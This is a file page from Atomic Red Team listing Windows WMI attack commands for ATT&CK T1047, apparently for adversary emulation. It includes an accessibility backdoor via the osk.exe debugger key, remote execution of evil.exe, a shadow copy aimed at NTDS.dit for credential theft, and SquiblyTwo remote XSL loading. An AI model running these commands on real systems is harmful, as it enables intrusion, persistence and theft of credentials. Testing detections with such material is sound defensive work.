Files
atomic-red-team/Windows/Execution/Windows_Management_Instrumentation.md
T
Michael Haag d508c3a71a SquiblyTwo
Adding SquiblyTwo
2018-05-01 15:29:42 -04:00

1.2 KiB
Raw Blame History

Windows Management Instrumentation

MITRE ATT&CK Technique: T1047

Reconnaissance

Input:

wmic useraccount get /ALL

Input:

wmic process get caption,executablepath,commandline

Input:

wmic qfe get description,installedOn /format:csv

Input:

wmic /node:"192.168.0.1" service where (caption like "%sql server (%")

Input:

get-wmiobject class "win32_share" namespace "root\CIMV2" computer "targetname"

Lateral Movement

Input:

wmic /user:<username> /password:<password> /node:<computer_name> process call create "C:\Windows\system32\reg.exe add \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\" /v \"Debugger\" /t REG_SZ /d \"cmd.exe\" /f"

Input:

wmic /NODE: "192.168.0.1" process call create "evil.exe"

Privileged Escalation

Input:

wmic /node:REMOTECOMPUTERNAME PROCESS call create "at 9:00PM c:\GoogleUpdate.exe ^> c:\notGoogleUpdateResults.txt"

Input:

wmic /node:REMOTECOMPUTERNAME PROCESS call create "cmd /c vssadmin create shadow /for=C:\Windows\NTDS\NTDS.dit > c:\not_the_NTDS.dit"

SquiblyTwo

Input:

wmic process list /FORMAT:evil.xsl

Input:

wmic os get /FORMAT:”https:///evil.xsl”